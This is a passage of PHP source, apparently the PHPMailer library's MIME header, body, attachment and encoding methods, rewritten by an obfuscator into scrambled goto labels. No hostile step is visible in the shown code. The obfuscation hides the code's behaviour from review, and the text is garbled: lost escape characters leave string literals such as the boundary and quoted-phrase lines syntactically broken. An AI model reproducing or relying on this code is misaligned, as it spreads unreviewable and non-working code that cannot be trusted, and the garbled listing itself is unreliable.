$this->ConfirmReadingTo)) { goto A1GuL; } goto GGj3N; YemQc: $result .= $this->addrAppend("Cc", $this->cc); goto lsGfR; jAOAL: cXqvk: goto fIxiS; ldTwr: $this->lastMessageID = $this->MessageID; goto q2SuL; LZeZH: $result .= $this->addrAppend("To", $this->to); goto henMS; ttDmK: if (!("mail" != $this->Mailer)) { goto R_68I; } goto jxggE; vzr0f: if ('' == $this->XMailer) { goto tK281; } goto W_4Nw; dSXuB: } public function getMailMIME() { goto u9Zof; nC1th: $ismultipart = true; goto VtWeQ; VtWeQ: switch ($this->message_type) { case "inline": goto LhBPh; ULQfB: goto Tv8Uq; goto R1mY1; awH7o: $result .= $this->textLine(" boundary="" . $this->boundary[1] . """); goto ULQfB; LhBPh: $result .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); goto awH7o; R1mY1: case "attach": case "inline_attach": case "alt_attach": case "alt_inline_attach": goto BN89g; qo6g5: $result .= $this->textLine("\x9boundary="" . $this->boundary[1] . """); goto Lt9YI; BN89g: $result .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_MIXED . ";"); goto qo6g5; Lt9YI: goto Tv8Uq; goto YOp1k; YOp1k: case "alt": case "alt_inline": goto OjviQ; HqTQo: goto Tv8Uq; goto YXhjW; Tbuhb: $result .= $this->textLine(" boundary="" . $this->boundary[1] . """); goto HqTQo; OjviQ: $result .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); goto Tbuhb; YXhjW: default: goto BoUzF; qANOi: goto Tv8Uq; goto fcceT; I98IG: $ismultipart = false; goto qANOi; BoUzF: $result .= $this->textLine("Content-Type: " . $this->ContentType . "; charset=" . $this->CharSet); goto I98IG; fcceT: } goto hS0cA; r1QQh: voS25: goto FmimQ; tcuOz: WhUJi: goto FYFRy; hS0cA: FvO92: goto Kwrj0; FYFRy: x8e5z: goto STezH; jn1G9: return $result; goto XAY_z; zFxog: if (!("mail" != $this->Mailer)) { goto Un0HI; } goto XfHHN; K6fgm: if (!(static::ENCODING_7BIT != $this->Encoding)) { goto J5yPc; } goto pr3ED; f0WWO: $result .= $this->headerLine("Content-Transfer-Encoding", $this->Encoding); goto w_SgE; TCI0I: Un0HI: goto jn1G9; FmimQ: if (!(static::ENCODING_8BIT == $this->Encoding)) { goto WhUJi; } goto n5zcR; n5zcR: $result .= $this->headerLine("Content-Transfer-Encoding", static::ENCODING_8BIT); goto tcuOz; XfHHN: $result .= static::$LE; goto TCI0I; w_SgE: goto x8e5z; goto r1QQh; u9Zof: $result = ''; goto nC1th; pr3ED: if ($ismultipart) { goto voS25; } goto f0WWO; STezH: J5yPc: goto zFxog; Kwrj0: Tv8Uq: goto K6fgm; XAY_z: } public function getSentMIMEMessage() { return rtrim($this->MIMEHeader . $this->mailHeader, "\xa\xd") . static::$LE . static::$LE . $this->MIMEBody; } protected function generateId() { goto GUNfa; MPJR0: $bytes = openssl_random_pseudo_bytes($len); goto H3ZB4; WwRm5: T__mL: goto MPJR0; GUNfa: $len = 32; goto AWtBv; XiBXv: $bytes = random_bytes($len); goto Ea64i; AWtBv: if (function_exists("random_bytes")) { goto zVq9f; } goto YIX7Y; VSLSA: zVq9f: goto XiBXv; H3ZB4: V5LEE: goto JkyAu; AzEFX: goto V5LEE; goto VSLSA; TuhPi: $bytes = hash("sha256", uniqid((string) mt_rand(), true), true); goto AzEFX; Ea64i: goto V5LEE; goto WwRm5; YIX7Y: if (function_exists("openssl_random_pseudo_bytes")) { goto T__mL; } goto TuhPi; JkyAu: return str_replace(["=", "+", "/"], '', base64_encode(hash("sha256", $bytes, true))); goto GYO6w; GYO6w: } public function createBody() { goto X14Dt; eWMKz: switch ($this->message_type) { case "inline": goto IvpVD; a0rFk: $body .= $this->attachAll("inline", $this->boundary[1]); goto NyOYf; IvpVD: $body .= $mimepre; goto mn0dr; mn0dr: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); goto tTXfh; NyOYf: goto p7bud; goto j1fFj; BuB7n: $body .= static::$LE; goto a0rFk; tTXfh: $body .= $this->encodeString($this->Body, $bodyEncoding); goto BuB7n; j1fFj: case "attach": goto MCIDR; AJ8jT: $body .= static::$LE; goto KMqC_; nupJ7: $body .= $this->encodeString($this->Body, $bodyEncoding); goto AJ8jT; GNioB: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding); goto nupJ7; MCIDR: $body .= $mimepre; goto GNioB; AQ5yr: goto p7bud; goto sw6xM; KMqC_: $body .= $this->attachAll("attachment", $this->boundary[1]); goto AQ5yr; sw6xM: case "inline_attach": goto aVxKw; MK9Gu: $body .= static::$LE; goto r7G_d; r7G_d: $body .= $this->attachAll("inline", $this->boundary[2]); goto nwoli; AWCuA: $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); goto M2kAS; MSqAy: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding); goto biOR9; nwoli: $body .= static::$LE; goto QcAwY; M2kAS: $body .= static::$LE; goto MSqAy; aVxKw: $body .= $mimepre; goto zIfoo; QcAwY: $body .= $this->attachAll("attachment", $this->boundary[1]); goto mPY6l; zIfoo: $body .= $this->textLine("--" . $this->boundary[1]); goto nC3W2; biOR9: $body .= $this->encodeString($this->Body, $bodyEncoding); goto MK9Gu; mPY6l: goto p7bud; goto AMFWM; nC3W2: $body .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); goto AWCuA; AMFWM: case "alt": goto R2Imh; Ywopg: $body .= static::$LE; goto T8hW4; sF4pl: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto v9Wmo; xl3pi: goto p7bud; goto klJO5; OmVIB: $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto E8Ld3; aVPwO: $body .= $this->encodeString($this->Ical, $this->Encoding); goto Ywopg; kGH6F: $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto sF4pl; FVWn9: $body .= static::$LE; goto m0Vxa; FsCEY: $body .= $this->endBoundary($this->boundary[1]); goto xl3pi; E8Ld3: $body .= $this->encodeString($this->Body, $bodyEncoding); goto FVWn9; m0Vxa: if (empty($this->Ical)) { goto XmqzD; } goto KfOEs; v9Wmo: $body .= static::$LE; goto OmVIB; R2Imh: $body .= $mimepre; goto kGH6F; T8hW4: XmqzD: goto FsCEY; KfOEs: $body .= $this->getBoundary($this->boundary[1], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", ''); goto aVPwO; klJO5: case "alt_inline": goto A3t0F; nnkKf: $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); goto JYrtc; A3t0F: $body .= $mimepre; goto MyjtD; t8fCM: $body .= static::$LE; goto IAfut; MyjtD: $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto UgnWG; LfOyX: $body .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); goto nnkKf; myF7p: $body .= $this->endBoundary($this->boundary[1]); goto DyiDY; DyiDY: goto p7bud; goto jFoyg; UgnWG: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto t8fCM; KgO_5: $body .= static::$LE; goto myF7p; atnZG: $body .= static::$LE; goto awOxL; JYrtc: $body .= static::$LE; goto nGx2P; nGx2P: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto FPcne; awOxL: $body .= $this->attachAll("inline", $this->boundary[2]); goto KgO_5; FPcne: $body .= $this->encodeString($this->Body, $bodyEncoding); goto atnZG; IAfut: $body .= $this->textLine("--" . $this->boundary[1]); goto LfOyX; jFoyg: case "alt_attach": goto RwRj5; bqurw: $body .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); goto b3ZQ0; LBRyR: $body .= static::$LE; goto g5IPl; FxRGL: goto p7bud; goto tEiuz; zSzDK: $body .= $this->encodeString($this->Ical, $this->Encoding); goto X4kj9; K2YhR: $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto xroQG; xroQG: $body .= $this->encodeString($this->Body, $bodyEncoding); goto LBRyR; tkMxw: $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto BTV54; X5rRp: $body .= static::$LE; goto tkMxw; RwRj5: $body .= $mimepre; goto a6KsR; g5IPl: if (empty($this->Ical)) { goto Iq28D; } goto Mj24h; J1cDk: $body .= static::$LE; goto K2YhR; vOJVh: $body .= static::$LE; goto g_5To; b3ZQ0: $body .= $this->textLine("\x9boundary="" . $this->boundary[2] . """); goto X5rRp; X4kj9: Iq28D: goto CA7To; Mj24h: $body .= $this->getBoundary($this->boundary[2], '', static::CONTENT_TYPE_TEXT_CALENDAR . "; method=REQUEST", ''); goto zSzDK; CA7To: $body .= $this->endBoundary($this->boundary[2]); goto vOJVh; BTV54: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto J1cDk; a6KsR: $body .= $this->textLine("--" . $this->boundary[1]); goto bqurw; g_5To: $body .= $this->attachAll("attachment", $this->boundary[1]); goto FxRGL; tEiuz: case "alt_inline_attach": goto t19C1; najH2: $body .= $this->endBoundary($this->boundary[2]); goto grUlC; IJ6GO: $body .= $this->textLine(" boundary="" . $this->boundary[2] . """); goto jxmrc; t19C1: $body .= $mimepre; goto rmXEA; grUlC: $body .= static::$LE; goto SGEg5; murk1: $body .= $this->textLine("\x9boundary="" . $this->boundary[3] . """); goto o2iPM; SGEg5: $body .= $this->attachAll("attachment", $this->boundary[1]); goto h05FR; R1q82: $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, static::CONTENT_TYPE_PLAINTEXT, $altBodyEncoding); goto wHo8g; rmXEA: $body .= $this->textLine("--" . $this->boundary[1]); goto lzYB_; lzYB_: $body .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ";"); goto IJ6GO; dOHHc: $body .= static::$LE; goto najH2; h05FR: goto p7bud; goto A2QNP; nfcUV: $body .= $this->encodeString($this->Body, $bodyEncoding); goto HAyRM; HAyRM: $body .= static::$LE; goto On03_; SJUHi: $body .= $this->textLine("--" . $this->boundary[2]); goto XLR41; jxmrc: $body .= static::$LE; goto R1q82; NF9Zg: $body .= static::$LE; goto SJUHi; pV2kA: $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, static::CONTENT_TYPE_TEXT_HTML, $bodyEncoding); goto nfcUV; XLR41: $body .= $this->headerLine("Content-Type", static::CONTENT_TYPE_MULTIPART_RELATED . ";"); goto murk1; On03_: $body .= $this->attachAll("inline", $this->boundary[3]); goto dOHHc; wHo8g: $body .= $this->encodeString($this->AltBody, $altBodyEncoding); goto NF9Zg; o2iPM: $body .= static::$LE; goto pV2kA; A2QNP: default: goto lNL9F; T0Nds: $body .= $this->encodeString($this->Body, $this->Encoding); goto I4jRP; lNL9F: $this->Encoding = $bodyEncoding; goto T0Nds; I4jRP: goto p7bud; goto ry9om; ry9om: } goto wTjEf; wTjEf: q13Iw: goto NPoFG; x24wf: h3UsQ: goto RzbUJ; RzbUJ: $altBodyEncoding = $this->Encoding; goto QhhzL; FiikW: $this->setWordWrap(); goto wF4bx; VK_Wx: goto m9k2b; goto TAc9j; adlUG: $this->uniqueid = $this->generateId(); goto fOJOO; gZfum: u30U0: goto FC3ay; TAc9j: UJTCL: goto X4T7b; TJaLt: if ($this->isError()) { goto UJTCL; } goto khZ_0; wnKNe: dzm1T: goto FiikW; OtIfg: if (!(static::ENCODING_8BIT == $bodyEncoding and !$this->has8bitChars($this->Body))) { goto iI4Uh; } goto sDCby; ugOA_: $altBodyCharSet = "us-ascii"; goto LWW2h; X14Dt: $body = ''; goto adlUG; X4T7b: $body = ''; goto fEOMZ; iq8sa: $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE; goto eFM8j; F0dxm: xsm0k: goto FhB7H; hDKGA: iI4Uh: goto lK3Zu; pOBSY: $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE; goto x24wf; eFM8j: YFFxP: goto zxAcH; apAMg: $body .= $this->getMailMIME() . static::$LE; goto wnKNe; n_cqO: m9k2b: goto hzWDm; NPoFG: p7bud: goto TJaLt; QhhzL: $altBodyCharSet = $this->CharSet; goto lL55X; fEOMZ: if (!$this->exceptions) { goto u30U0; } goto zrZsH; wF4bx: $bodyEncoding = $this->Encoding; goto Ngimp; hzWDm: return $body; goto gj2CO; zrZsH: throw new Exception($this->lang("empty_message"), self::STOP_CRITICAL); goto gZfum; FhB7H: try { goto bdIuS; RtoC_: if (empty($this->sign_extracerts_file)) { goto qS0Ik; } goto vfcJM; bJkGz: fclose($signed); goto wWo09; E_wmK: $body = file_get_contents($signed); goto bJkGz; FqKTF: Ulyb3: goto PtW02; zN0VL: fwrite($file, $body); goto RtoC_; WVY0S: $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE; goto xl4hl; Hmgum: Gn3wp: goto qcNmW; hoMct: throw new Exception($this->lang("signing") . openssl_error_string()); goto hAf3Y; hAf3Y: goto arZXe; goto SZMub; J3wvG: arZXe: goto hLpSm; GhntT: qS0Ik: goto xAOlB; vfcJM: $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], [], PKCS7_DETACHED, $this->sign_extracerts_file); goto maymM; cEEPx: if ($sign) { goto VejZc; } goto M4d5H; wWo09: $parts = explode("
\xa", $body, 2); goto WVY0S; p2gUM: throw new Exception($this->lang("extension_missing") . "openssl"); goto FqKTF; SZMub: VejZc: goto E_wmK; obwfH: $signed = fopen("php://temp", "rb+"); goto zN0VL; maymM: goto Gn3wp; goto GhntT; xl4hl: $body = $parts[1]; goto J3wvG; bdIuS: if (defined("PKCS7_TEXT")) { goto Ulyb3; } goto p2gUM; PtW02: $file = fopen("php://temp", "rb+"); goto obwfH; M4d5H: fclose($signed); goto hoMct; xAOlB: $sign = @openssl_pkcs7_sign($file, $signed, "file://" . realpath($this->sign_cert_file), ["file://" . realpath($this->sign_key_file), $this->sign_key_pass], []); goto Hmgum; qcNmW: fclose($file); goto cEEPx; hLpSm: } catch (Exception $exc) { goto bkLk0; shs7F: throw $exc; goto jJUWI; jJUWI: KFGVS: goto h0IgU; bkLk0: $body = ''; goto b6RXh; b6RXh: if (!$this->exceptions) { goto KFGVS; } goto shs7F; h0IgU: } goto n_cqO; lL55X: if (!(static::ENCODING_8BIT == $altBodyEncoding and !$this->has8bitChars($this->AltBody))) { goto E7HVZ; } goto SGoKY; khZ_0: if ($this->sign_key_file) { goto xsm0k; } goto VK_Wx; au5br: if (!$this->sign_key_file) { goto dzm1T; } goto apAMg; Km9_y: $this->boundary[2] = "b2_" . $this->uniqueid; goto pcO8z; pcO8z: $this->boundary[3] = "b3_" . $this->uniqueid; goto au5br; SGoKY: $altBodyEncoding = static::ENCODING_7BIT; goto ugOA_; LWW2h: E7HVZ: goto U82D3; sDCby: $bodyEncoding = static::ENCODING_7BIT; goto mzSkx; zxAcH: $mimepre = "This is a multi-part message in MIME format." . static::$LE; goto eWMKz; lK3Zu: if (!(static::ENCODING_BASE64 != $this->Encoding and static::hasLineLongerThanMax($this->Body))) { goto h3UsQ; } goto pOBSY; U82D3: if (!(static::ENCODING_BASE64 != $altBodyEncoding and static::hasLineLongerThanMax($this->AltBody))) { goto YFFxP; } goto iq8sa; Ngimp: $bodyCharSet = $this->CharSet; goto OtIfg; mzSkx: $bodyCharSet = "us-ascii"; goto hDKGA; FC3ay: goto m9k2b; goto F0dxm; fOJOO: $this->boundary[1] = "b1_" . $this->uniqueid; goto Km9_y; gj2CO: } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { goto MNwYP; WAXYg: if (!('' == $encoding)) { goto SU79U; } goto j39ce; XFAlu: if (!('' == $charSet)) { goto SdZyK; } goto sNMHv; pCYXt: Vsnvf: goto Rxm1J; xqBw8: qoze3: goto WAXYg; Vfuku: $result .= $this->headerLine("Content-Transfer-Encoding", $encoding); goto pCYXt; j39ce: $encoding = $this->Encoding; goto pwt4W; MNwYP: $result = ''; goto XFAlu; gWBgR: return $result; goto mn7Ki; sNMHv: $charSet = $this->CharSet; goto mR3fq; tXgse: if (!('' == $contentType)) { goto qoze3; } goto UmEke; pwt4W: SU79U: goto gCdS4; wPKFd: $result .= static::$LE; goto R16z9; gCdS4: $result .= $this->textLine("--" . $boundary); goto vlSFl; mR3fq: SdZyK: goto tXgse; Rxm1J: $result .= static::$LE; goto gWBgR; R16z9: if (!(static::ENCODING_7BIT != $encoding)) { goto Vsnvf; } goto Vfuku; UmEke: $contentType = $this->ContentType; goto xqBw8; vlSFl: $result .= sprintf("Content-Type: %s; charset=%s", $contentType, $charSet); goto wPKFd; mn7Ki: } protected function endBoundary($boundary) { return static::$LE . "--" . $boundary . "--" . static::$LE; } protected function setMessageType() { goto vQXuy; LCD7e: TmkMa: goto qewCc; vQXuy: $type = []; goto m4HGs; tWD3f: if (!$this->attachmentExists()) { goto KZGGq; } goto n9s3P; kq7Yr: TILvq: goto muyUe; m4HGs: if (!$this->alternativeExists()) { goto TmkMa; } goto GDbkv; GDbkv: $type[] = "alt"; goto LCD7e; RCmo0: $type[] = "inline"; goto RytIS; qewCc: if (!$this->inlineImageExists()) { goto CpPVu; } goto RCmo0; d0n3q: $this->message_type = "plain"; goto kq7Yr; T3YrQ: KZGGq: goto Q_8Ch; oYQEh: if (!('' == $this->message_type)) { goto TILvq; } goto d0n3q; RytIS: CpPVu: goto tWD3f; Q_8Ch: $this->message_type = implode("_", $type); goto oYQEh; n9s3P: $type[] = "attach"; goto T3YrQ; muyUe: } public function headerLine($name, $value) { return $name . ": " . $value . static::$LE; } public function textLine($value) { return $value . static::$LE; } public function addAttachment($path, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "attachment") { try { goto OYdxX; OYdxX: if (!(!static::isPermittedPath($path) || !@is_file($path))) { goto cy4HX; } goto dy1v8; ISfzu: $type = static::filenameToType($path); goto f_x2f; Gdx_E: cy4HX: goto GPI6q; IbkWR: $filename = basename($path); goto hG89E; hG89E: if (!('' == $name)) { goto sUPZS; } goto nxEP9; dy1v8: throw new Exception($this->lang("file_access") . $path, self::STOP_CONTINUE); goto Gdx_E; f_x2f: zUXXf: goto IbkWR; HJKJB: sUPZS: goto RkBmi; RkBmi: $this->attachment[] = [0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $name]; goto Gp6ys; GPI6q: if (!('' == $type)) { goto zUXXf; } goto ISfzu; nxEP9: $name = $filename; goto HJKJB; Gp6ys: } catch (Exception $exc) { goto PUERS; vfNgF: if (!$this->exceptions) { goto M3D3V; } goto ye2IF; w0atk: $this->edebug($exc->getMessage()); goto vfNgF; ye2IF: throw $exc; goto F9id_; F9id_: M3D3V: goto thmvj; PUERS: $this->setError($exc->getMessage()); goto w0atk; thmvj: return false; goto ojOuv; ojOuv: } return true; } public function getAttachments() { return $this->attachment; } protected function attachAll($disposition_type, $boundary) { goto sOsqK; CE0Fa: $incl = []; goto emFoD; emFoD: foreach ($this->attachment as $attachment) { goto LHldl; GoJ_W: if (empty($cid)) { goto UAV5g; } goto TuakR; p6JMM: HO6KO: goto HM8MO; azPgd: $mime[] = sprintf("--%s%s", $boundary, static::$LE); goto kiTlN; AtBL9: goto mUm88; goto E1AdV; HM8MO: $mime[] = sprintf("Content-Disposition: %s; filename=%s%s", $disposition, $encoded_name, static::$LE . static::$LE); goto kX0iY; KqaRv: gKsXI: goto EVGzV; xD9cw: if (!in_array($inclhash, $incl)) { goto wBxZd; } goto E2rnw; z4y2K: $incl[] = $inclhash; goto ruVQj; Rls6E: UAV5g: goto zeBYD; nOZdp: EBmCK: goto s15fa; SeNew: $string = ''; goto W7rgu; x341T: if (!("inline" == $disposition and array_key_exists($cid, $cidUniq))) { goto Bodbe; } goto T34Vc; kiTlN: if (!empty($name)) { goto EBmCK; } goto a1Fb1; ccthA: Bodbe: goto uxV9l; W7rgu: $path = ''; goto LFlLG; w4m5H: $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, static::$LE); goto S359I; OBEJi: $string = $attachment[0]; goto RNIna; ruVQj: $name = $attachment[2]; goto ac1RQ; DHFaz: if (preg_match("/[ \(\)<>@,;:\"\/\[\]\?=]/", $encoded_name)) { goto mWt8I; } goto d55Nf; E1AdV: xvIzE: goto ydGAx; zUSsm: goto n4f0W; goto Nb41r; OSnJ9: XpSom: goto tub3x; mLrb_: $path = $attachment[0]; goto ApGf0; kX0iY: HiG6S: goto nRjKc; kKbq5: $mime[] = $this->encodeFile($path, $encoding); goto zUSsm; Nb41r: o6ChV: goto yfq15; dylR1: GGXMv: goto zS298; KGCI9: $disposition = $attachment[6]; goto DuiMq; qi_er: return ''; goto dylR1; w_8r_: if ($bString) { goto yt91M; } goto mLrb_; aZSuA: $mime[] = sprintf("Content-Disposition: %s; filename="%s"%s", $disposition, $encoded_name, static::$LE . static::$LE); goto H2XFp; E2rnw: goto gKsXI; goto IHWW2; e6hP5: goto HiG6S; goto p6JMM; S359I: S_Yo7: goto GoJ_W; DHkO9: $type = $attachment[4]; goto KGCI9; T34Vc: goto gKsXI; goto ccthA; cfelf: n4f0W: goto KOeAw; LFlLG: $bString = $attachment[5]; goto w_8r_; H2XFp: jn1eJ: goto MsdJU; LHldl: if (!($attachment[6] == $disposition_type)) { goto NztCE; } goto SeNew; ac1RQ: $encoding = $attachment[3]; goto DHkO9; TuakR: $mime[] = sprintf("Content-ID: <%s>%s", $cid, static::$LE); goto Rls6E; IHWW2: wBxZd: goto z4y2K; RNIna: q7Xob: goto r9eNa; nRjKc: goto jn1eJ; goto iafHj; MsdJU: mUm88: goto ivQfq; r9eNa: $inclhash = hash("sha256", serialize($attachment)); goto xD9cw; iafHj: mWt8I: goto aZSuA; zS298: $mime[] = static::$LE; goto AR0qU; uxV9l: $cidUniq[$cid] = true; goto azPgd; s15fa: $mime[] = sprintf("Content-Type: %s; name="%s"%s", $type, $this->encodeHeader($this->secureHeader($name)), static::$LE); goto OSnJ9; X2jMo: $mime[] = sprintf("Content-Disposition: %s%s", $disposition, static::$LE . static::$LE); goto e6hP5; ydGAx: $encoded_name = $this->encodeHeader($this->secureHeader($name)); goto DHFaz; DuiMq: $cid = $attachment[7]; goto x341T; KOeAw: if (!$this->isError()) { goto GGXMv; } goto qi_er; d55Nf: if (!empty($encoded_name)) { goto HO6KO; } goto X2jMo; ivQfq: if ($bString) { goto o6ChV; } goto kKbq5; a1Fb1: $mime[] = sprintf("Content-Type: %s%s", $type, static::$LE); goto zzKrA; zzKrA: goto XpSom; goto nOZdp; zeBYD: if (!empty($disposition)) { goto xvIzE; } goto MkqQg; rOATp: yt91M: goto OBEJi; yfq15: $mime[] = $this->encodeString($string, $encoding); goto cfelf; ApGf0: goto q7Xob; goto rOATp; tub3x: if (!(static::ENCODING_7BIT != $encoding)) { goto S_Yo7; } goto w4m5H; AR0qU: NztCE: goto KqaRv; MkqQg: $mime[] = static::$LE; goto AtBL9; EVGzV: } goto fjZdR; jirol: $cidUniq = []; goto CE0Fa; sOsqK: $mime = []; goto jirol; OozU4: return implode('', $mime); goto tfcJa; fMTV2: $mime[] = sprintf("--%s--%s", $boundary, static::$LE); goto OozU4; fjZdR: BNqsq: goto fMTV2; tfcJa: } protected function encodeFile($path, $encoding = self::ENCODING_BASE64) { try { goto JApn0; dO7Uc: pLTXR: goto wq_iE; U66S0: return $file_buffer; goto Ua4Yr; JApn0: if (!(!static::isPermittedPath($path) || !file_exists($path))) { goto c7j4A; } goto s0SsD; ZOofe: if (!(false === $file_buffer)) { goto pLTXR; } goto BAC9d; BAC9d: throw new Exception($this->lang("file_open") . $path, self::STOP_CONTINUE); goto dO7Uc; PRQQK: c7j4A: goto y3Bna; s0SsD: throw new Exception($this->lang("file_open") . $path, self::STOP_CONTINUE); goto PRQQK; wq_iE: $file_buffer = $this->encodeString($file_buffer, $encoding); goto U66S0; y3Bna: $file_buffer = file_get_contents($path); goto ZOofe; Ua4Yr: } catch (Exception $exc) { $this->setError($exc->getMessage()); return ''; } } public function encodeString($str, $encoding = self::ENCODING_BASE64) { goto il1HB; sussu: CGg1s: goto QOQWK; il1HB: $encoded = ''; goto FbhPm; FbhPm: switch (strtolower($encoding)) { case static::ENCODING_BASE64: $encoded = chunk_split(base64_encode($str), static::STD_LINE_LENGTH, static::$LE); goto CGg1s; case static::ENCODING_7BIT: case static::ENCODING_8BIT: goto NnFcb; UAKt6: $encoded .= static::$LE; goto thwr3; SxH2v: goto CGg1s; goto C87WP; thwr3: ig1G8: goto SxH2v; IxyBL: if (!(substr($encoded, -strlen(static::$LE)) != static::$LE)) { goto ig1G8; } goto UAKt6; NnFcb: $encoded = static::normalizeBreaks($str); goto IxyBL; C87WP: case static::ENCODING_BINARY: $encoded = $str; goto CGg1s; case static::ENCODING_QUOTED_PRINTABLE: $encoded = $this->encodeQP($str); goto CGg1s; default: $this->setError($this->lang("encoding") . $encoding); goto CGg1s; } goto Zc5Vp; Zc5Vp: DP3MP: goto sussu; QOQWK: return $encoded; goto D23OI; D23OI: } public function encodeHeader($str, $position = "text") { goto QLDl9; veD1Q: $encoded = $this->base64EncodeWrapMB($str, "\xa"); goto Qva6b; oCf14: goto UtPGg; goto wMMKc; Ar_Ks: $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); goto ZuCfs; sGNUf: goto UtPGg; goto TNs97; kis6k: return trim(static::normalizeBreaks($encoded)); goto NKhpS; mAwUX: if (!($str == $encoded)) { goto ywdn0; } goto Dx7Rp; wPHvE: $lengthsub = "mail" == $this->Mailer ? 13 : 0; goto WzpTB; wMMKc: IcUWn: goto pctwE; vHXi7: pgveh: goto ouGHM; IL5zd: goto UtPGg; goto vHXi7; Pmplk: switch (strtolower($position)) { case "phrase": goto ytXNf; NY2zx: jWNek: goto QjBVi; pV6iH: goto Nba9l; goto rc_FI; sxSWX: s60Da: goto zwAhb; JE9kv: if (!($str == $encoded and !preg_match("/[^A-Za-z0-9!#$%&'*+\/=?^_`{|}~ -]/", $str))) { goto jWNek; } goto NuY3A; zwAhb: $matchcount = preg_match_all("/[^\040\041\043-\133\135-\176]/", $str, $matches); goto pV6iH; ytXNf: if (preg_match("/[\200-\377]/", $str)) { goto s60Da; } goto pTvum; pTvum: $encoded = addcslashes($str, "\x0..\x1f\x7f\""); goto JE9kv; QjBVi: return ""{$encoded}""; goto sxSWX; NuY3A: return $encoded; goto NY2zx; rc_FI: case "comment": $matchcount = preg_match_all("/[()"]/", $str, $matches); case "text": default: $matchcount += preg_match_all("/[\000-\010\013\014\016-\037\177-\377]/", $str, $matches); goto Nba9l; } goto XrTns; gVbBV: return $str; goto sGNUf; JtZJt: $maxlen -= $maxlen % 4; goto QiZTz; QLDl9: $matchcount = 0; goto Pmplk; eatYf: $encoded = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$encoding}?\1?=", $encoded); goto oCf14; Dx7Rp: $encoded = trim(chunk_split($str, static::STD_LINE_LENGTH, static::$LE)); goto BkXul; R264B: if (strlen($str) > $maxlen) { goto IcUWn; } goto gVbBV; ouGHM: $encoding = "Q"; goto Ar_Ks; BkXul: ywdn0: goto kY_V3; wMnsL: Nba9l: goto wPHvE; pcrl5: $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); goto AgKi2; OiwSv: $encoded = preg_replace("/^(.*)$/m", " \1", $encoded); goto lz9ZJ; O_vWt: $encoding = "B"; goto pcrl5; ZuCfs: $encoded = $this->encodeQ($str, $position); goto c7uv3; zfBIY: yWGT2: goto veD1Q; pctwE: $encoded = trim($this->wrapText($str, $maxlen, false)); goto mAwUX; WzpTB: $maxlen = static::STD_LINE_LENGTH - $lengthsub; goto HNlOO; QiZTz: $encoded = trim(chunk_split($encoded, $maxlen, "
")); goto Cr5TI; XrTns: GdzWK: goto wMnsL; lz9ZJ: UtPGg: goto kis6k; nO0Dz: $encoded = str_replace("=" . static::$LE, "
", trim($encoded)); goto eatYf; c7uv3: $encoded = $this->wrapText($encoded, $maxlen, true); goto nO0Dz; VHm7a: $encoded = preg_replace("/^(.*)$/m", " =?" . $this->CharSet . "?{$encoding}?\1?=", $encoded); goto IL5zd; HNlOO: if ($matchcount > strlen($str) / 3) { goto d1KVx; } goto rgFuG; mGsOD: $encoded = base64_encode($str); goto JtZJt; Qva6b: onOtB: goto VHm7a; TNs97: d1KVx: goto O_vWt; kY_V3: $encoded = str_replace(static::$LE, "\xa", trim($encoded)); goto OiwSv; rgFuG: if ($matchcount > 0) { goto pgveh; } goto R264B; Cr5TI: goto onOtB; goto zfBIY; AgKi2: if ($this->hasMultiBytes($str)) { goto yWGT2; } goto mGsOD; NKhpS: } public function hasMultiBytes($str) { goto nY_y2; nY_y2: if (!function_exists("mb_strlen")) { goto aukbs; } goto TqSFW; p6I5u: aukbs: goto agu5l; TqSFW: return strlen($str) > mb_strlen($str, $this->CharSet); goto p6I5u; agu5l: return false; goto zeAyY; zeAyY: } public function has8bitChars($text) { return (bool) preg_match("/[\x80-\xFF]/", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { goto LhJ7U; EKoh2: $i = 0; goto R_IRu; qGhOG: jkJq4: goto gW0Y8; D0TxG: $offset = $avgLength - $lookBack; 